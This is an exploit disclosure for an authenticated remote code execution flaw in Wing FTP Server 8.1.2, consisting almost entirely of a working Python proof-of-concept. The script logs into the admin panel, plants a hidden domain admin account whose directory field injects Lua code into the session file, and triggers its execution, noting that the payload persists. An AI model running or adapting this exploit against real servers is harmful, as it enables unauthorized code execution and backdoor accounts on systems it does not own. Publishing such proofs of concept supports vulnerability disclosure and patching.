# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
# Date: 12.05.2026
# Exploit Author: Ünsal Furkan Harani
# Vendor Homepage:
[https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
# Software Link:
https://www.wftpserver.com/download.htm
# Version: v8.1.2
# Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
# CVE : CVE-2026-44403
Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.
#!/usr/bin/env python3
"""
PREREQUISITES:
- Valid full admin credentials (not readonly, not domain admin)
- Target: Wing FTP Server web admin panel (default port 5466)
IMPACT:
Remote Code Execution as the Wing FTP Server service account.
Persistence: payload re-executes every time the poisoned session is loaded.
"""
import requests
import hashlib
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class WingFTPSessionPoisoning:
def __init__(self, target, admin_user, admin_pass, use_ssl=False):
proto = "https" if use_ssl else "http"
self.base_url = f"{proto}://{target}"
self.admin_user = admin_user
self.admin_pass = admin_pass
self.session = requests.Session()
self.session.verify = False
def login(self):
"""Authenticate to the admin panel and obtain UIDADMIN session cookie."""
# service_login.html accepts credentials via POST
url = f"{self.base_url}/service_login.html"
data = {
"username": self.admin_user,
"password": self.admin_pass,
}
headers = {
"Referer": f"{self.base_url}/admin_login.html",
}
resp = self.session.post(url, data=data, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Login successful as '{self.admin_user}'")
return True
elif result.get("code") in (1, 2):
print(f"[-] 2FA required — this PoC doesn't handle TOTP")
return False
else:
print(f"[-] Login failed: {result}")
return False
except Exception:
# Legacy endpoint (admin_loginok.html) returns HTML
if "logged in ok" in resp.text or "main.html" in resp.text:
print(f"[+] Login successful (legacy endpoint)")
return True
print(f"[-] Login failed: {resp.text[:200]}")
return False
def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
"""
Create a domain admin with a poisoned 'mydirectory' (basefolder) field.
The mydirectory value will be serialized as:
_SESSION['admin_basefolder']=[[<mydirectory_value>]]
Our payload breaks out of the [[ ]] long string:
_SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]
When this session file is loaded via loadfile() + f(), the payload executes.
"""
# Construct the poisoned basefolder value
# Format: <innocent_prefix>]]<lua_code>--
# The ]] closes the long string, code executes, -- comments out the rest
poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
admin_obj = {
"username": poison_admin_user,
"password": poison_admin_pass,
"readonly": False,
"domainadmin": 1, # Make it a domain admin
"domainlist": "", # Will be set by server
"mydirectory": poisoned_basefolder, # THIS IS THE PAYLOAD
"ipmasks": [],
"enable_two_factor": False,
"two_factor_code": "",
}
url = f"{self.base_url}/service_add_admin.html"
headers = {
"Referer": f"{self.base_url}/main.html",
}
admin_json = json.dumps(admin_obj, separators=(',', ':'))
print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
# Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Poisoned admin created successfully!")
return True
elif result.get("code") == -3:
print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
else:
print(f"[-] Failed to create admin: {result}")
return False
except Exception:
print(f"[-] Unexpected response: {resp.text[:200]}")
return False
def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
"""Modify existing admin to inject the poisoned basefolder."""
poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
admin_obj = {
"username": poison_admin_user,
"password": poison_admin_pass,
"readonly": False,
"domainadmin": 1,
"domainlist": "",
"mydirectory": poisoned_basefolder,
"ipmasks": [],
"enable_two_factor": False,
"two_factor_code": "",
}
# service_modify_admin.html has NO bracket stripping at all
url = f"{self.base_url}/service_modify_admin.html"
headers = {
"Referer": f"{self.base_url}/main.html",
}
admin_json = json.dumps(admin_obj, separators=(',', ':'))
resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
return True
else:
print(f"[-] Failed to modify admin: {result}")
return False
except Exception:
print(f"[-] Unexpected response: {resp.text[:200]}")
return False
def trigger_payload(self, poison_admin_user, poison_admin_pass):
"""
Trigger the payload by logging in as the poisoned domain admin.
On login, service_login.html:95-96 stores the basefolder in session:
rawset(_SESSION,"admin_basefolder",basefolder)
rawset(_SESSION,"admin_nowpath",basefolder)
SessionModule.save() serializes it as:
_SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]
The payload executes on the NEXT session load (any subsequent request).
"""
print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")
trigger_session = requests.Session()
trigger_session.verify = False
url = f"{self.base_url}/service_login.html"
data = {
"username": poison_admin_user,
"password": poison_admin_pass,
}
headers = {
"Referer": f"{self.base_url}/admin_login.html",
}
# Step 1: Login — stores poisoned basefolder in session
resp = trigger_session.post(url, data=data, headers=headers)
print(f"[*] Login response: {resp.text[:200]}")
# Step 2: Any subsequent request triggers loadfile() on the session file
# The session file now contains the Lua payload
trigger_url = f"{self.base_url}/service_get_dir_list.html"
headers["Referer"] = f"{self.base_url}/main.html"
resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
print(f"[*] Trigger response: {resp2.status_code}")
print(f"[+] Payload should have executed on the server!")
return True
def demo_session_file():
"""
Demonstrate what the poisoned session file looks like.
Shows the exact Lua code that gets written and executed.
"""
print("=" * 70)
print("DEMONSTRATION: Poisoned Session File Content")
print("=" * 70)
payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
basefolder = f'/tmp/x]]{payload}--'
print(f"\n[1] Admin sets mydirectory to:")
print(f" {basefolder}")
print(f"\n[2] On login, session is saved. serialize() outputs:")
session_content = f"""_SESSION['admin']=[[poisoned_admin]]
_SESSION['admin_basefolder']=[[{basefolder}]]
_SESSION['admin_domainadmin']=1
_SESSION['admin_domainlist']=[[]]
_SESSION['admin_nowpath']=[[{basefolder}]]
_SESSION['admin_readonly']=0
_SESSION['ipaddress']=[[127.0.0.1]]
_SESSION['logined']=[[true]]"""
print(f" --- session file content ---")
for line in session_content.split('\n'):
print(f" {line}")
print(f" --- end ---")
print(f"\n[3] Lua parser sees the basefolder line as:")
print(f" _SESSION['admin_basefolder']=[[/tmp/x]] --> string '/tmp/x'")
print(f" {payload} --> EXECUTED AS CODE!")
print(f" --]] --> comment (ignored)")
print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")
print(f"\n[5] Result: '{payload}' runs as server process.")
print("=" * 70)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <mode> [args...]")
print(f"")
print(f"Modes:")
print(f" demo — Show how the vulnerability works")
print(f" exploit <host:port> <user> <pass> — Create poisoned admin and trigger RCE")
print(f"")
print(f"Examples:")
print(f" {sys.argv[0]} demo")
print(f" {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
sys.exit(1)
mode = sys.argv[1]
if mode == "demo":
demo_session_file()
elif mode == "exploit":
if len(sys.argv) < 5:
print("Usage: exploit <host:port> <admin_user> <admin_pass>")
sys.exit(1)
target = sys.argv[2]
admin_user = sys.argv[3]
admin_pass = sys.argv[4]
# Default payload — write proof file (Windows-compatible)
lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
poison_admin = "svc_backup"
poison_pass = "P@ssw0rd123!"
print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
print(f"[*] Target: {target}")
print(f"[*] Payload: {lua_payload}")
print(f"[*] Poisoned admin account: {poison_admin}")
print()
exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)
if not exploit.login():
sys.exit(1)
if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
sys.exit(1)
exploit.trigger_payload(poison_admin, poison_pass)
print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
else:
print(f"Unknown mode: {mode}")
sys.exit(1)
if __name__ == "__main__":
main()
Sent with [Proton Mail](https://proton.me/mail/home) secure email.